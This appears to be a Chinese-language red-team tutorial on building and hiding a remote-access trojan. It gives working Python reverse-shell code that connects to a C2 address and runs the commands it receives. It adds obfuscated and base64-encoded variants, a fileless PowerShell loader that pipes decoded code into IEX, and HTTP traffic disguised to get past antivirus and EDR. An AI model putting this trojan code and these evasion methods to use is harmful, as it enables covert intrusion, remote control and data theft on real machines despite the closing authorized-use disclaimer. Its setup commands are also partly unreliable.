一、远控木马的特性与目标分析
远控木马一直是渗透测试和红队行动中不可或缺的利器。它的核心目的很简单:在目标系统上获取并维持控制权。通常,我们会设计木马来满足以下几个需求:
- 隐匿性: 必须能够绕过杀软(AV)和端点检测响应(EDR)的检测。
- 稳定性: 一旦植入成功,木马需要长期稳定运行,不轻易暴露或被发现。
- 功能性: 支持核心操作如文件操作、键盘记录、屏幕截图、摄像头捕获等。
- 通信能力: 能通过各种协议(HTTP, HTTPS, DNS, ICMP等)与C2(命令控制服务器)通信。
在实战中,如何让木马免杀是一个关键问题。没什么比看着辛苦开发的木马被杀软秒删更让人沮丧。因此,在设计远控木马时,我们不仅需要考虑攻击功能,还要围绕免杀展开一系列对抗性优化。
接下来,我会结合实战经验,分享从构建到免杀的完整技术链条。
---
二、环境搭建:模拟目标与测试场景

为了高效开发和测试免杀木马,我们需要一个良好的环境。以下是我常用的搭建方案,既能模拟真实目标,也能测试木马在不同防御环境下的表现。
攻击端
- 操作系统: Kali Linux 或 Parrot OS
- C2 工具: Cobalt Strike、Sliver 或自写 Python 服务器
- 开发语言: Python(用于快速原型开发),C++(用于高性能木马)
- 辅助工具: UPX 压缩、PyArmor 加壳、obfuscator.io
靶机环境
为了真实模拟,我们需要设置多个靶机:
- Windows 10 + Windows Defender: 用于测试木马对微软默认安全措施的免杀效果。
- 安装 EDR 的 Windows 11: 测试对企业级防御工具的绕过能力,如 CrowdStrike、Carbon Black。
- 虚拟化环境: 使用 VMware 或 VirtualBox 快速部署和回滚测试。
简单搭建命令如下:
<pre><code class="language-bash"># 1. 下载 Windows 10 镜像并创建虚拟机 wget https://software-download.microsoft.com/XXXX-windows-10.iso virt-install --name win10 --ram 4096 --vcpus 2 --disk size=50 \ --cdrom ./windows-10.iso --os-type windows --os-variant win10
2. 安装 Kali Linux 并设置 C2
sudo apt update && sudo apt install -y cobaltstrike sliver</code></pre>
到这里,基本的测试环境已经搭好。接下来,我们将进入免杀技术的核心部分。
---
三、Payload 构造:从简单到复杂
一个远控木马的核心是 Payload。它的任务是执行攻击者的命令。而在免杀的过程中,Payload 构造决定了木马的可用性和隐蔽性。我们从最基础的 Python Payload 开始,再逐步优化它的免杀能力。
简单的 Python Reverse Shell
这是最常见的木马雏形,功能简单,构造易懂:
<pre><code class="language-python">import socket import subprocess import os
攻击者的 C2 IP 和监听端口
HOST = "192.168.1.100" PORT = 4444
def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) while True: command = s.recv(1024).decode('utf-8') if command.lower() == 'exit': break try: output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) except Exception as e: output = str(e).encode('utf-8') s.send(output) s.close()
connect()</code></pre>
这个脚本的核心功能是反向连接攻击者的主机,并执行发来的命令。然而,它的问题显而易见:没有任何免杀手段,会被任何杀软秒杀。
Payload 混淆与免杀
如果直接运行上面的代码,Windows Defender 会立即识别并删除它。因此,我们需要对其进行混淆处理。
方法 1:字符串分割与动态拼接
<pre><code class="language-python">import socket import subprocess import os
混淆关键字符串
H = "192.168" O = ".1.100" P = 4444
def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((H + O, P)) # 动态拼接 IP while True: command = s.recv(1024).decode('utf-8') if command.lower() == ''.join(['e', 'x', 'i', 't']): # 动态拼接关键字 break try: output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) except Exception as e: output = str(e).encode('utf-8') s.send(output) s.close()
connect()</code></pre>

这种简单的混淆对普通杀软有一定效果,但 EDR 很容易通过动态分析发现它的行为。
方法 2:Base64 加密代码
将关键代码加密,在运行时解密:
<pre><code class="language-python">import base64 exec(base64.b64decode("aW1wb3J0IHNvY2tldCBpbXBvcnQgc3VicHJvY2VzcyBpbXBvcnQgb3M..."))</code></pre>
这种方式通过加密提升了检测的难度,特别是在代码量较多时效果更佳。
方法 3:动态加载模块
通过 ctypes 或直接调用系统 API 来加载模块,可以进一步降低被静态特征匹配的概率。例如,使用 ctypes 动态加载 Windows 的 ws2_32.dll 实现网络通信。
---
四、内存加载与无文件攻击
在更高阶的免杀需求下,我们需要避免将完整的木马文件写入磁盘。这时,内存加载技术成为利器。
使用 PowerShell 加载木马到内存
PowerShell 是 Windows 环境下强大的脚本工具,而且其内存执行特性非常适合攻击者隐藏代码。
创建 PowerShell 加载器
<pre><code class="language-powershell"># 将木马代码加载到内存执行 $payload = "[Base64编码后的木马]" [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload)) | IEX</code></pre>
将 Python 木马转为 Base64,作为 Payload 嵌入到 PowerShell 加载器中。执行时无需落地文件,直接在目标内存中运行。
---
五、绕过 EDR 的关键:流量伪装与通信对抗
远控木马免杀不仅是绕过静态扫描,更重要的是如何躲过流量检测和行为分析。
HTTP 流量伪装
伪装通信流量为正常的 HTTP 请求,可以有效对抗基于协议的检测。将 Python 木马的通信改造成 Web 流量的形式:
<pre><code class="language-python">import requests
C2_URL = "http://192.168.1.100:8080" KEY = "supersecretkey"

def send_command(command): data = {'key': KEY, 'cmd': command} response = requests.post(C2_URL, data=data) return response.text</code></pre>
这种方法让木马的网络流量看起来像普通的 Web 数据包,能绕过许多入侵检测设备。
---
六、个人经验分享:免杀是持续对抗
- 动态分析是重点: 杀软越来越依赖动态分析,因此行为伪装比代码混淆更重要。
- 多层次免杀: 混淆、加密、API 模拟等技术要结合使用,形成多层对抗。
- 测试环境的重要性: 建立多种靶机环境,提前发现木马的薄弱点。
在一定程度上,免杀是一场持久战。攻击者需要不断优化自己的工具,而防御者也在持续进化。希望本文的实践技巧能为你的红队行动提供一些新的启发。

声明:本文仅限于授权的安全测试,严禁用于非法用途。